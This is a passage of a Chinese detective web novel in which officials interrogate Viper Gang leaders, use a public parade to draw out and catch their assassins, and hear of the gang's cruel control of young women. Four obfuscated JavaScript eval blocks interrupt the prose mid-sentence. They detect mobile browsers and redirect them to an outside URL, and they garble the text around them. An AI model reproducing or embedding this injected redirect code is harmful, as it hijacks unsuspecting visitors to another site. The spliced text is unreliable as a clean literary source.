云水谣惊出了一身冷汗。她现在才明白真相。 吴阿婆和琼娘,其实是两个人,但有时候共用吴阿婆这一张脸。 真正的吴阿婆,应该也是蝮蛇帮的人,是琼娘和佩儿的下属。琼娘有需要时,就戴上人皮面具,伪装成吴阿婆的样子。等她要恢复自己的本来面貌时,吴阿婆再出来。 琼娘卷款潜逃的这几个月,应该一直躲在吴家,以吴阿婆的身份生活。而真正的吴阿婆,应该是在不远处,隐藏了起来。 在云水谣来调查吴阿婆一家的时候,真假吴阿婆对换,云水谣见到的是真正的老妇吴阿婆。 等云水谣确定这个吴阿婆没问题之后,琼娘觉得官府应该不会再来吴家了,所以又跟吴阿婆换了身份。 所以,后来被抓到官府来的“吴阿婆”,其实是琼娘。她仓促之间,来不及跟真正的吴阿婆调换身份。 云水谣既觉得惊喜,又觉得可怕。如果不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886377|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从抿唇这个动作中发现端倪的话,也不知道自己还要蒙在鼓里多久。 云水谣之前就发现,吴阿婆有个下意识抿唇的动作,而这个动作不像是老年人会做的。 而刚才,她又在杨小官人的诗中发现,琼娘也有个习惯性动作,就是抿唇。来源就是那句诗:“抿唇宜喜又宜嗔。” 杨小官人只是记录了他爱上琼娘的过程,在诗中写下了琼娘的神态动作,没想到又无意间为官府提供了线索。 这真是天网恢恢,疏而不漏。 而琼娘发现自己的伪装暴露,有些惊慌,随即恢复了镇定。反正已经露馅了,人也已经在牢里了,情况也没法更坏了。 她问道:“你们是怎么发现我的身份的?” 云水谣讽刺地说道:“因为杨小官人留下的绝命诗,里面提到你抿唇的动作。而你假扮成吴阿婆,这个抿唇的动作却是改不了的。” 琼娘笑了:“原来是这样。杨之庭那个死鬼,临死之前还要写什么绝命诗,结果给我留下这么多破绽。早知道这样,我应该效仿佩儿,先嫁给杨之庭一段时间,再假死脱身,他就不会死了,也不会写什么绝命诗。” 云水谣摇头道:“以杨小官人痴情的程度,如果你在嫁给他之后假死,他说不定会殉情,随你而去。他待你如此真诚,你却骗死了他,心里可曾有一丝内疚?” 琼娘冷静道:“我确实骗了他的钱,但我没要他的命。” “你知道他是个什么样的人,在他发现自己被骗钱骗感情之后,是活不下去的。” “是他自己想不开,不关我的事。” 云水谣按捺下心中的愤怒,问道:“银票呢?” “不在我手上。” “那在哪里?” “既然云大人知道我和佩儿是蝮蛇帮的人,就该知道,我们骗到的钱,大部分是要交给上级的。你就是把我们杀了,也拿不回多少钱。” 云水谣知道,这话倒八成是真的。 她接着问道:“真正的吴阿婆在哪里?” “大人神通广大,自己去找啊。” “你……” 云水谣想打她,又忍住了。对琼娘这种人,寻常的打骂根本没用,反而会增加自己的怒气。 杜羽道:“琼娘既然经常和吴阿婆互换身份,真正的吴阿婆一定住在离吴家不远的地方,派人去找找,说不定就在吴家附近的那座仙女庙中。” 琼娘抬头看了杜羽一眼,又低下头去。 杜羽露出一个成竹在胸的笑容。他刚才提到仙女庙,琼娘就抬头看他,很有可能是被他说中了。 于是,杜羽叫来一班衙役,让他们去吴家附近寻找真正的吴阿婆,着重寻找仙女庙。 衙役们领命而去。 云水谣接着说道:“你们把蝮蛇帮的底细交代清楚,我可以对你们从宽处理。” 然而,琼娘和佩儿皆是紧闭着嘴,什么也不打算说。 云水谣道:“既然你们不打算说,那本官就陪你们慢慢磨。大牢里有的是刑具,明天选哪几样比较好呢?” 138.真身 琼娘和佩儿都有些害怕,但还是不说话。 云水谣知道,要让她们这种人开口,是很不容易的。 也只能用刑罚慢慢磨了。 她们今日的身体已经没法再用刑了,云水谣便先离开了。 目前杨小官人自尽一案已经可以结案了,毕竟害死他的琼娘已经找到。只是银票没有找回来,也算不得毕其功于一役。 至于黄四牛被杀一案,佩儿始终不愿意承认是她朝黄四牛脑门上发射了银针,云水谣也没办法。 黄四牛的案子,固然可以判那几个打死他的村民死罪,但这不是最完美的判法,真正的元凶还逍遥法外。 元凶包括佩儿,也包括教唆黄四牛赌博、教他赢钱之术的其他蝮蛇帮成员。 几个时辰后,去寻找吴阿婆的衙役们回来了,带回一个佝偻的老妇,她便是真正的吴阿婆。 衙役们回禀道:“大人,在仙女庙的神像下面有一个暗门,吴阿婆就住在那个暗门里,被我们找到了。” 云水谣点头:“你们做得很好,下去领赏吧。” “谢大人。” 吴阿婆一见到云水谣,就跪了下去,求饶道:“大人饶命啊,老身只是个小角色,很多事情老身都没参与……” 云水谣道:“若要本官从宽处理,也不是不行。本官问你的问题,你需如实回答。如有隐瞒,本官可以让你每天都受刑。你的身体怕是撑不住吧?” 吴阿婆有些哆嗦:“请大人问吧,老身知无不言。” 云水谣问道:“本官第一次去吴家的时候,见到的人是你?” “是。您走了之后,琼娘就假扮我,让我住回仙女庙。” “你是蝮蛇帮的人?” “对,但我只是最底层的成员,也是听命行事。” “琼娘和佩儿是不是蝮蛇帮的头目?” “是,她们两个都是香主。” “蝮蛇帮一共有几级?香主算是大头目还是小头目?” “蝮蛇帮有帮主一人,副帮主二人,堂主八人,香主二十四人,其余的都是普通帮众。” “这么说,琼娘和佩儿是最低一级的头目?” “对。” “蝮蛇帮的其他头目你认识吗?” “不认识,我只见过琼娘和佩儿。” “你知道她们把骗来的钱都交到哪里了吗?” “不知道。” “佩儿的真名是佩儿,还是冷霜?” “都可以,她们每隔一段时间都会换名字,方便继续执行下一个任务。要说她们一开始的名字,只怕没人知道。” “既然名字经常换,你们怎么辨认这些头目的真假?” “有两个方法,一是靠她们的样貌来区分。就比如我认识琼娘和佩儿,下次她们要是换了名字,继续出现在我面前,我自然是认得的。第二个方法,就是出示奔月环。一个头目要想在陌生的帮众面前证明身份,只需拿出奔月环,并拆成好几块,再重新组装回去,我们就知道她一定是蝮蛇帮的头目了。” “那平时蝮蛇帮内部怎么称呼她们?” “大小头目都有自己的编号,比如琼娘是十七号香主,佩儿是十九号香主,一般用她们的编号来称呼。” “原来如此。蝮蛇帮是不是有控制帮众的方法,让帮众落网之后不敢说实话?” “是,有很多方法。就比如,我被下了毒,要定期拿到解药才能活下去。可是,我已经为蝮蛇帮卖命大半辈子了,已经不想再继续这样的生活了。我看大人这么聪明,短短时间内就有了进展,还把我的藏身之处找到了,我觉得没有隐瞒下去的必要。反正我不想活了,这么多年也活够本了。” “你的毒多久发作一次?” “三个月。距离下一次解毒,只有一个月的时间了。如果拿不到解药,我就会死。” “本官可以请名医来为你医治,看能不能配出解药。” “没用的,蝮蛇帮的毒药千变万化,如果不知道配方,根本配不出解药。” 云水谣心想,吴阿婆是重要的证人,而这个案件又要移交大理寺审理,所以必须要在一个月之内把吴阿婆送到大理寺,否则她就会死。 云水谣接着问道:“你经常去青瓜巷运泔水,而琼娘所在的万花楼离青瓜巷很近,你知道她平时都在做些什么吗?” 吴阿婆摇头:“不知道。我这样的人在蝮蛇帮内是最底层的,只能听头目的吩咐办事。琼娘连万花楼都不许我靠近,所以我从未走近过万花楼。” “你也不认识杨小官人?” “不认识。是他出事后,我才知道他被琼娘骗了。” “佩儿在宁州骗了褚天帆的钱后,是不是一直乔装打扮,跟你待在一起?” “不是,她是三个月前才过来的。” “可是据邻居所说,你在雍州已经住了十几年了,而且一直跟你女儿同住。” “对,因为假扮我女儿的人经常更换,她们都使用同一张人皮面具,所以外人看不出来我所谓的‘女儿’一直在换人。” “原来如此。” 吴阿婆和琼娘,是两个人共用一个身份。而丑女儿佩儿,因为有人皮面具的遮掩,其实谁来扮都可以。 这样,吴阿婆这里就相当于蝮蛇帮的一个据点,无论是蝮蛇帮的哪个成员,都可以以她女儿的身份躲在她家。 不得不说,这一招很高妙。 云水谣问道:“实际上不存在你女儿或你外孙女这个人?” “对,这个人是编出来的,我无儿无女。但是我带着一个中年丑女在一个地方定居,自称是母女俩,也不会有人起疑。” “之前扮过你女儿的都有谁?她们都干了些什么?” 吴阿婆道:“她们都可以叫佩儿,因为我对外宣称我女儿叫佩儿。至于她们原来的名字,我不知道;她们干了什么,我也不知道。她们每一个人,都在我身边待一段时间,等避过了风头,就离开了。 蝮蛇帮有帮规,我也不能多问,否则要受罚。除非是那些姑娘再出现在我面前,我才能认出来。否则,让我凭空去找每一个来到我身边的‘佩儿’,我也是找不着的。” 云水谣明白了。吴阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894005|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆知道的其实很有限。 现在牢里关着的那个“佩儿”,其实叫她“冷霜”更为合适,至少冷霜这个名字没那么多人使用。 凡是蝮蛇帮的人,来吴阿婆这里避风头,都是扮成她女儿的样子,用她女儿的名字,佩儿这个身份,是她们公用的。 云水谣又问道:“蝮蛇帮是用什么方法让琼娘和佩儿不泄露机密的?” “这我也不知道,蝮蛇帮控制人的手段各不相同。” “黄四牛的案子你知道吗?” “黄四牛是谁?” “白土村的村民。” “哦,白土村的事情,我参与过一些,但不是主要的。我也不太认识那个村的村民。” “你做过什么?” “自从得知白土村的村民都靠拆迁得到一大笔钱后,我就得到一个任务,就是去这些村民的亲朋好友面前,提起很多人赌钱返贫的事,暗示那些亲朋好友鼓动白土村的村民去赌钱。我不需要把话说得太明白,只需要点到即止,那些村民的亲戚们自然会按我的意思去做。” 云水谣也明白吴阿婆的意思。在白土村的村民们突然暴富后,身边的亲朋好友大部分是嫉妒的,巴不得这些村民失去这笔钱。所以,只要有人稍加暗示,她们就会明白,说动暴富的村民们去赌钱,就可以让他们快速失去财富。 而再往后的事情,就不需要吴阿婆参与了,自然有更专业的人去设局。蝮蛇帮的其他人教黄四牛赌术,让他赢走其他人的钱,然后把他约到郊外,拿走他身上的银票就可以了。 然后,佩儿隐藏在暗处,用银针射中黄四牛的脑袋,使其发狂。正好遇上前来讨要钱财的其他村民,两边发生打斗,黄四牛死了,其他村民也要偿命,一切了无痕迹,只有蝮蛇帮既得到了钱,还不留下把柄。 这个局,可以说如行云流水。 云水谣问吴阿婆:“这个任务是谁派给你的?” “是琼娘。” “原来琼娘不仅跟杨小官人一案有关,也跟黄四牛一案有关。吴阿婆,将来到了大理寺,你也要如实说明,明白吗?” “是,老身明白。” “黄四牛被杀一案,你除了散播赌钱返贫的言论,还做了什么?” “没有,琼娘只叫我做这一件事。” “此案的其他细节你不知道?” “不知道。” “另一个运泔水的方大娘去哪里了?” “我也不知道,可能是被其他人抓走或杀了。” “她们这样做,是为了把嫌疑引到方大娘身上?” “应该是的。” 原来方大娘是无辜的,只是蝮蛇帮施的障眼法而已,云水谣直到此刻才能确定。 在琼娘失踪那天,运泔水的方大娘也失踪了,但吴阿婆却没有走。谁能想到,最终有问题的是吴阿婆,而不是方大娘呢? 蝮蛇帮盘踞大夏多年,还是有几分聪明的,也难怪官府与其斗智斗勇多年,都没什么成效。 云水谣又问道:“以你对蝮蛇帮的了解,方大娘被杀的可能性是不是比较大?” 139.扫墓 吴阿婆沉默了一会,说道:“是。方大娘八成已经死了很久了。” 云水谣的心沉了下去。虽然她从没见过方大娘,但得知一个普通人死了,她心里也十分难受。 方大娘没有做错任何事,只因为蝮蛇帮要故布疑阵,她就成了牺牲品。 吴阿婆虽然比较配合,但她知道的事情也不多。云水谣也没什么可问的了,就让人把她关押到监狱里,但不能让琼娘和佩儿看见。所以,吴阿婆在安排在一间很角落的牢房里。 另外,云水谣派了几名侍卫去保护吴阿婆,又请了几个名医来为吴阿婆诊脉。 几个名医诊脉之后,私下对云水谣说道:“吴阿婆身上的毒,我们无法可解。” 云水谣有些忧虑地说道:“知道了,你们在吴阿婆面前,只说有希望,但需要一段时间来配解药。” “是。” 云水谣暗中叹了一口气。看来吴阿婆确实活不长了。她是重要证人,必须在她死之前,把这个案子给结了。 接下来的几天,云水谣继续给琼娘和佩儿用刑,但她们两人还是没有招认。 杜羽来询问进度,云水谣如实说了,有些沮丧道:“她们是不是一直不会开口?那我拘押着她们也只是浪费时间,只能早点将她们送到大理寺了。” 杜羽道:“不然。以前蝮蛇帮被抓到的成员,都会当场自尽。就算自尽不成,也会想方设法在牢里死去。但琼娘和佩儿一直没有自尽,说明她们想活。她们心中还存着一丝希冀,既然这样,总有办法突破她们的心理防线。 她们两个是蝮蛇帮的头目,地位和财产应该都远在一般成员之上,所以舍不得死。只要她们活着,就有机会从她们嘴里套到一些有用的信息。” 正说着,之前被派到宁州的侍卫回来了,向云水谣禀告:“大人,我跟宁州官府说明了情况,宁州官员帮忙打开了冷霜的坟墓,发现棺材里什么都没有。既没有尸体,也没有陪葬的金条,这说明冷霜假死潜逃,还带走了所有陪葬品。 宁州官府那边出具了文书,说明了这一情况,可以作为案件的佐证。” 说着,侍卫把宁州官府的文书奉上。 云水谣点头道:“有宁州那边的线索,足以说明冷霜就是佩儿,她骗走了褚天帆一大笔钱。以这个罪名将她治罪,而她又还不出钱的话,其实可以判死罪。但我想要的不止于此。” 杜羽道:“你希望佩儿招认自己做的所有坏事,并把蝮蛇帮的事情全都招供?” “没错,不过我知道这很困难。” 就算佩儿愿意招供,她也未必知道蝮蛇帮所有事。一些比较大的组织,越是下层的人,知道的事越少。 杜羽道:“你既然有这样的雄心,不妨奋力一试。蝮蛇帮为害百姓多年,如能一举拔除,厥功甚伟。” 两人正聊着,只听一声马嘶。云水谣朝门口一看,是元景佑回来了。 一看见元景佑,云水谣就忍不住露出微笑,跑上前去:“你怎么离开这么久?” 元景佑笑道:“大人叫我打听蝮蛇帮的消息,因蝮蛇帮行事隐秘,我打听了许久。” “你可有发现什么?” “没打听出什么特别有用的事,不过也算是有所收获。我们先进去说。” 于是,云水谣一行人来到一间客厅,云水谣给元景佑倒了水,递给他糕点,让他先吃一些。 元景佑胡乱对付了两口,便说道:“这段时间,我跟江湖上的朋友打听了,他们对蝮蛇帮都不太了解,只听说蝮蛇帮的信物是奔月环,其中小头目的奔月环是白色的,帮主和两位副帮主的奔月环是用玄铁打造,是黑色的。 蝮蛇帮除了帮主、副帮主之外,好像还有堂主、香主两级。堂主、香主们没有固定的名字,是用数字编号加以区分。为了方便骗人,她们的名字经常更改,容貌也可以用易容术修改。这些头目以女子居多,但帮主和副帮主好像都是男的。至于这些头目的身份,我还没打听出来。 还有,每次蝮蛇帮犯下大案时,关键人物都能逃脱,其背后似乎有人撑腰,应该不是一个纯粹的江湖组织。我觉得,光是知道这些,可能没法帮大人破案,于是我决定从别的方面调查。 蝮蛇帮首次被记录在案的案子,就是十几年前夏石、沈为安、秦度三位少年被骗钱,最终自尽一案。我向朋友们打听,是否有人知晓本案的内情。有个朋友告诉我,那三位少年自尽后,他们的老家仆将他们安葬,然后就回乡养老了。 三位老家仆是同一个地方的人,所以也一起回到了家乡,互相作伴。他们无儿无女,把自家少爷视为最亲近的人。可三位少爷死了,三个老家仆太过伤心,没过多久也去世了。 他们的尸身,还是由当地的里正安葬的。那位朋友说,他知道三位老家仆的坟墓在哪里,问我要不要去看看。我想,或许能找到什么线索,因此便去了三位老家仆的家乡。 我本想先看看他们最后的住所,却发现他们的住所早已经被拆了,变成了农田。于是,我又来到了他们的坟墓,发现一件怪事。” 云水谣问道:“什么怪事?” 元景佑:“那三位老家仆的坟墓,竟然十分整齐,好像一直有人在打理一般。而他们旁边的坟墓,因为长年累月无人扫墓,都长满了杂草,对比很明显。” 云水谣问道:“是谁在帮他们打理坟墓?” 元景佑:“我也不知道。刚好当时快到中元节了,我想,如果平时有人打理坟墓的话,中元节可能会来一趟。于是,我就躲在附近观察了几天。到了七月十五中元节,果然有两个人来了,一个是跛足的老者,拄着一根拐杖;一个是农夫模样的人,穿得破破烂烂。他们两个给这三个老家仆扫墓,我便走了出去,询问他们跟这三个老家仆是什么关系。 他们说,十几年前,他们曾经受过这三个老家仆的恩惠,打听到恩人的坟茔在此,就经常过来打扫。我接着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900254|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问他们,认不认识夏石、沈为安、秦度这三位少年,三人当年自尽一案,是否还有其他内情? 他们说,自己只是受过三位老家仆的恩惠,并不认识这三位少爷,也从没见过面。至于三位少爷自尽一案,听说是被蝮蛇帮的人骗了,他们还向我打听蝮蛇帮现在如何了。我随便编了两句话应付,便离开了。” 云水谣道:“可惜没问到什么有用的线索,倒辛苦你白跑这一趟了。” 元景佑摇头:“我本来也以为白跑一趟,谁知后来又发生一件怪事。” “什么事?” 元景佑:“我离开后,因一时找不到旅店,便睡在一棵大树上。快要睡着时,却有人偷袭我。还好我比较警觉,马上反击。偷袭我的人一共有两个,都穿着黑袍,看不清面目。可是其中一个人,用的武器是一根拐棍,就跟白天扫墓的那跛足老者所用的拐棍一样。 那两个人加起来也不是我的对手,我一边跟他们对打,一边找机会想扯掉他们的蒙面巾。他们见势不妙,就逃走了。我马上追上去,可他们朝我发射暗器,我为了躲避暗器,速度慢了,怎么也追不上,被他们逃了。” 云水谣沉思道:“这么说,偷袭你的那两个人,就是那两个去给老家仆扫墓的人?” “应该是的。” “他们既然去给三名老家仆扫墓,可见是有情有义之人,为何会突然偷袭你呢?” “他们是不是觉得,我在暗中窥伺,不像好人?” “有这个可能,但也不至于不分青红皂白就攻击你吧?” 元景佑摇头:“这个我就不清楚了。白天见到他们的时候,我以为他们只是两个普通人。后来他们趁夜偷袭我,我才发现他们身怀武功,但不算很高。但他们先是偷袭,后是放暗器,非君子所为,跟白天的形象大相径庭。我也搞不清他们是好人还是坏人。” “他们用什么暗器?” “当时天太黑了,没看清,只模糊觉得是特别细小的东西。后来我在附近查看了,也没发现暗器的踪影,可能被打进树里了。” 杜羽道:“会不会是银针?” 元景佑恍然大悟:“有可能。” 云水谣喃喃道:“银针……又是银针……难道那两个人,也是蝮蛇帮的头目?” 元景佑有些疑惑:“蝮蛇帮的头目为何会帮那三名老家仆扫墓?总不会是良心不安吧?便是真的良心不安,也应该去给夏石、沈为安、秦度三位少年扫墓才对,毕竟这三个少年是蝮蛇帮直接害死的。” “是啊,蝮蛇帮哪有这种会帮受害者的家仆扫墓的善男信女?该不会,他们其实是想从三名老家仆的坟墓里得到什么吧?” 杜羽道:“可能性不大。如果三名老家仆的坟墓里真的有财宝什么的,他们早就拿走了,不会十几年后还过来。而且,夏石、沈为安、秦度三位少年的钱都被骗得差不多了,他们的老家仆更不可能有什么钱了,没有盗墓的价值。” 140.控制 杜羽说的也有道理,一时之间,云水谣想不明白那两人的动机。 云水谣问元景佑:“那两个扫墓的人长相如何?如果你再次见到,能认得出来吗?” 元景佑肯定地说道:“认得出来,因为他们两人都长得十分……十分丑陋,看过一眼就再也不会忘记。那个跛足老者吊梢眼,酒糟鼻,脸又圆又扁,还有很多斑点;那个农夫脸上有被火烧的痕迹,伤疤遍布大半张脸。” 云水谣道:“先把这两人的样貌画出来,以后若遇到了,再抓来问问。” 元景佑取来纸笔,很快就画好了。他的绘画也有一定的功底,总之云水谣见到这两幅肖像,就不想再看第二眼。 云水谣开玩笑道:“说句不公道的话,相由心生,这两个人应该是坏人。” 元景佑笑道:“大人,您这样说可不符合您的身份。” “这有什么,你们不说出去就好了。我想,如果这两个人也是蝮蛇帮的头目,我们如果能抓到他们,离剿灭蝮蛇帮又近了一步。” 杜羽点头:“确实如此。元景佑,你是在什么地方见到这两人的?” 元景佑道:“三个老家仆的坟墓在宁州莱宜县,我去了那里之后,碰见了那两个怪模怪样的人来扫墓。” 云水谣道:“宁州……那两个人是不是住在宁州?” 杜羽道:“不一定。如果他们真的是蝮蛇帮的头目,应该是到处流窜的,只是中元节时出于某种原因,来到了那三名老家仆的坟墓前,过后可能又去了别处。” 云水谣点头:“是啊,要抓住他们比登天还难……还是先从琼娘和佩儿两人着手突破吧。” 元景佑问案件的进展,云水谣简单说了一下,元景佑惊叹不已:“这群人实在狡猾。” 杜羽道:“相比于以往的案件,这次已经有了重大突破,抓到了琼娘和佩儿这两个头目,而且还有吴阿婆这个相关人员愿意作证。” 元景佑道:“我还有一个消息忘了说,但这个消息也只是道听途说,不一定可靠。听说,蝮蛇帮对于一些有能力的年轻女孩,控制的手段非常残忍。” 云水谣问道:“怎么控制的?” 元景佑皱着眉,面露不忍,斟酌了用词,才说道:“听说,他们会选一些有姿色、有才艺、武功也学得不错的女孩,作为未来的头目培养。但为了控制她们,蝮蛇帮会让这些十几岁的姑娘怀孕,生下孩子,一般生一个或两个。生完之后,就给她们绝育。也就是说,她们这辈子只能有这一两个孩子,再也没法生育了。然后,蝮蛇帮再把她们的孩子藏起来,集中到某处抚养。孩子在蝮蛇帮手上,这些姑娘只能乖乖听话。 如果这些姑娘有二心,蝮蛇帮就会……就会把孩子身体的一部分切下来,寄给孩子的母亲。所以,蝮蛇帮的女头目,几乎都对帮主忠心耿耿。” 云水谣听得浑身发抖:“怎么会有这样的事……” 杜羽沉思道:“怪不得琼娘和佩儿无论如何也不肯招供,可能传说是真的,她们的孩子真的被蝮蛇帮捏在手里。她们一直不自尽,是因为还想活着见到自己的孩子。” 云水谣问元景佑:“你有没有打听出那些孩子被关在哪里?” 元景佑摇头:“我如果知道,早就跟大人说了。” “如果能救出那些孩子,琼娘、佩儿,还有蝮蛇帮其他女头目,可能都愿意改邪归正。” 杜羽道:“话是这么说,但我们并不知道那些孩子在何处。而且,这个消息也未必是真的。” 云水谣也希望这个消息是假的,如果是真的,实在太灭绝人性了。 云水谣道:“也不知道这些孩子的父亲是谁?” 元景佑道:“这个可能性就多了,蝮蛇帮也有男人的,可能是随机分配,也可能是找外面的陌生男人来让这些少女怀孕,或是……有其他更黑暗的方式。” 云水谣没有再问,也不敢再想下去。杜羽和元景佑二人,也是长久地沉默着。 既然找不到突破口,云水谣道:“吴阿婆只能活一个月左右了,如果这个案子再在我手里拖下去,吴阿婆可能撑不到去大理寺。我在想,要不干脆把案子直接移交大理寺好了。” 云水谣虽然很想一举歼灭蝮蛇帮,但也感觉到蝮蛇帮是个庞然大物,恐怕不是一口能吃下的,还是循序渐进为好。 杜羽道:“先别忙,既然抓到了琼娘和佩儿,也许我们可以用她们两个来钓鱼。” 云水谣问:“如何钓鱼?” 杜羽低声说了几句话,云水谣恍然。 —— 官府贴出告示,说是诈骗百姓钱财的蝮蛇帮头目落网了两个,但是钱已经找不回来了,官府决定把这两个女骗子游街示众。 一时间,物议沸腾,许多百姓都想见见这两个女骗子的真面目。 有些百姓虽然跟蝮蛇帮没有瓜葛,但也被骗过钱,他们自然见不得骗子好过。他们准备好了臭鸡蛋、烂菜叶,准备好好招呼那两个女骗子。 第二天,伤痕累累的佩儿、琼娘二人被带出了牢房,装上囚车。 她们不知道怎么回事,直到开始游街时,才发现自己被游街示众了。百姓的叱骂声、饱含着讥讽与愤怒的眼神,都让她们两人无比难受。 她们之前一向是把人玩弄于股掌之中的,何曾落到如此境地?就算有时在青楼潜伏,那也是众人追捧的花魁。但现在,她们两人就像是过街老鼠。 而元景佑、杜羽和一众身手好的暗卫,早已乔装打扮,潜伏在百姓中,占据了各个方位,眼观六路,耳听八方。 他们故意把琼娘和佩儿拉出来游街,就是想看看她们会不会被灭口。 灭口的人一出现,他们就有把握抓住。 等游行到最热闹的长乐街时,百姓们的叫骂声达到了顶峰。聚集的百姓也越来越多,几乎把一条宽敞的大街挤得水泄不通。官兵们为了维持治安,避免发生踩踏事件,也是焦头烂额。还有一些孩子被挤哭了,发出尖利的哭声。 在如此混乱的场景下,几根银针的破风声似乎没人能听到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906700|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但元景佑和杜羽听到了,他们一齐飞到半空,把银针用衣摆包住,以免伤到佩儿和琼娘二人。接着,他们齐齐指着东南方向,道:“追!” 隐藏在人群中的暗卫们像苍鹰一样腾空而起,此起彼伏地往东南方追去。 刚才确实有人来行刺琼娘和佩儿,而且往东南方逃走了。 云水谣站在不远处的高楼上,紧张地看着这一切。 她希望刺客能被抓到,但又觉得,这个刺客可能也什么都不会说,抓了也白抓。 琼娘和佩儿也意识到,自己刚刚逃过一劫,心情十分紧张。她们其实猜到,一旦自己暴露在人前,就有可能被蝮蛇帮灭口。 但没办法,她们是阶下囚,还戴着枷锁,动弹不得。没想到,侍卫们竟然帮她们挡过了一次暗杀。 但是,她们并不觉得庆幸,因为她们知道,蝮蛇帮的手段远不止于此。 果然,没过多久,又有人朝她们发射银针。 元景佑、杜羽和二十来个暗卫都追着前一个刺客离开了,这一次,她们恐怕躲不过去,都闭起了眼睛。 没想到,她们没有死,又有几个暗卫出来,替她们拦下了银针。 原来云水谣也料到蝮蛇帮可能会组织多次刺杀,所以她让元景佑、杜羽和一部分暗卫负责第一波刺客,甲风、乙木等十几名暗卫负责继续潜伏,如果有第二波刺客,他们就出来保护琼娘和佩儿。 果然被云水谣料着了,这会又出现了第二波刺客。刺客见自己行刺未成,往西北方逃走了。甲风、乙木等十几名暗卫也追了上去。 琼娘、佩儿在底下,自然看不见云水谣,只是在心中暗暗庆幸官府防守严密,这才两次保住了性命。 接着,官兵们疏散了人群,把琼娘和佩儿往牢房方向带。 钓鱼行动已经完成,她们两人应该回大牢了。否则,继续在外面,会增加风险。 在高楼上,云水谣默默看着远处。她已经看不见那两拨刺客和追踪他们的暗卫了,只希望暗卫们能顺利把人带回来。 柳依依站在她身后,问道:“大人,你说这些刺客的武功会不会很高?如果连杜长史、元世子都不是他们的对手怎么办?” 云水谣茫然道:“这我也不知道该怎么办了……希望他们都以自己性命为重,如果打不过,能逃回来也是好的。” “大人,我们先回衙门等消息吧。” 云水谣知道自己能做的都已经做了,便跟柳依依一道回了衙门。 丫环们端来茶水和点心,云水谣也没心思吃。 她察觉到自己在发抖,也许是担心元景佑、杜羽和那些暗卫。主要是摸不清那些刺客的武功高低、人数多少,所以云水谣才感到害怕。 她觉得如果自己从小习武就好了,这会她就可以跟元景佑他们并肩作战,而不是在这里等着。 柳依依看出了她的担心,安慰道:“大人,别担心,元世子久历江湖,杜将军也曾沙场征战,他们对付几个小毛贼,应该不在话下。” 141.渔夫 云水谣点了点头。 大约等了两个时辰,两队人马都回来了,而且皆有收获。 元景佑、杜羽那队抓到了一个中年汉子。云水谣觉得那中年汉子有些眼熟,却想不起在哪见过。 而甲风、乙木那一队,则抓住了两个人,一个是跛足老者,一个是中年农夫,竟然就是曾经给三个老家仆扫墓、后来又暗算过元景佑的人。 元景佑看见他们两人,惊讶道:“你们怎么也来雍州了,还参与了对琼娘和佩儿的灭口行动?看来我猜测得没错,你们俩也是蝮蛇帮的。” 跛足老者和中年农夫都一脸不忿,没有说话。 云水谣问元景佑:“你们抓到的是何人?我总觉得在哪里见过他。” 元景佑把他们抓到的这个中年汉子推到云水谣面前,道:“大人,您再仔细看看,您确实见过他,他是那个捞到黄四牛遗体的渔夫。” 云水谣想起来了:“你是那个渔夫曾有财?” 渔夫哼了一声,没有答话。 就算他不回答,云水谣也已经确定了他的身份。 之前云水谣调查黄四牛被杀一案时,曾经叫这个渔夫前来问话。 因为黄四牛被村民们打死后,村民们把他的尸体绑上石头,扔进了河里,是渔夫曾有财把尸体打捞上来,报了官的。 云水谣对这个渔夫印象深刻,因为他长得实在太丑。他脸上有许多太阳晒出来的斑,深浅不一,就像打翻了颜料盘。偏偏五官也难看,再搭配上这些斑,可以说长得一无是处。 云水谣觉得评价一个人的长相不太好,但一些丑得出奇的人,她难免印象深刻,也不能怪她。 没想到,一个平平无奇的渔夫,竟然也是蝮蛇帮的头目之一。既然如此,他当初为什么要把黄四牛的尸体打捞上来? 